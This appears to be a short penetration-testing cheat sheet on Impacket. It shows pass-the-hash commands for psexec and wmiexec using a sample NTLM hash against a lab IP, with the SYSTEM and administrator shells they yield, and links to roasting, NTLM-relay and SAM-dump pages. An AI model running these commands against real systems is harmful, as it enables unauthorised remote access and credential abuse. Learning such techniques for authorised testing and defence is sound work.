# Impacket

## Pass-the-Hash

{% tabs %}
{% tab title="psexec" %}
`psexec` uploads a service executable to a writable share, registers it as a service, and starts it—this requires write access to a share. If no argument is specified at the end of the command, it runs `cmd.exe` by default giving us a `SYSTEM` shell:

{% code overflow="wrap" %}
```bash
# SYSTEM shell
$ impacket-psexec -hashes :7a38310ea6f0027ee955abed1762964b Administrator@192.168.233.212
...
C:\Windows\system32> whoami
nt authority\system

# Specify a command
$ impacket-psexec -hashes :7a38310ea6f0027ee955abed1762964b Administrator@192.168.233.212 <command>
```
{% endcode %}
{% endtab %}

{% tab title="wmiexec" %}
`wmiexec` uses **Windows Management Instrumentation (WMI)** to execute commands remotely without needing to upload files or write to shares (stealthier and faster). If no argument is specified at the end of the command, it runs `cmd.exe` by default giving us a user shell:

{% code overflow="wrap" %}
```bash
# Administrator shell
$ impacket-wmiexec -hashes :7a38310ea6f0027ee955abed1762964b Administrator@192.168.233.212
...
C:\>whoami
files02\administrator
```
{% endcode %}
{% endtab %}
{% endtabs %}

## AS-REPRoasting

See how to use `impacket-GetNPUsers` [here](../../attacks/as-reproasting#windows).

## Kerberoasting

See how to use `impacket-GetUserSPNs` [here](../../attacks/kerberoasting#attack).

## NTMLv2 Relay

See how to use `impacket-ntlmrelayx` [here](../../attacks/ntlmv2#ntmlv2-relay).

## Local SAM Dump

See how to use `impacket-secretsdump` [here](#local-sam-dump).
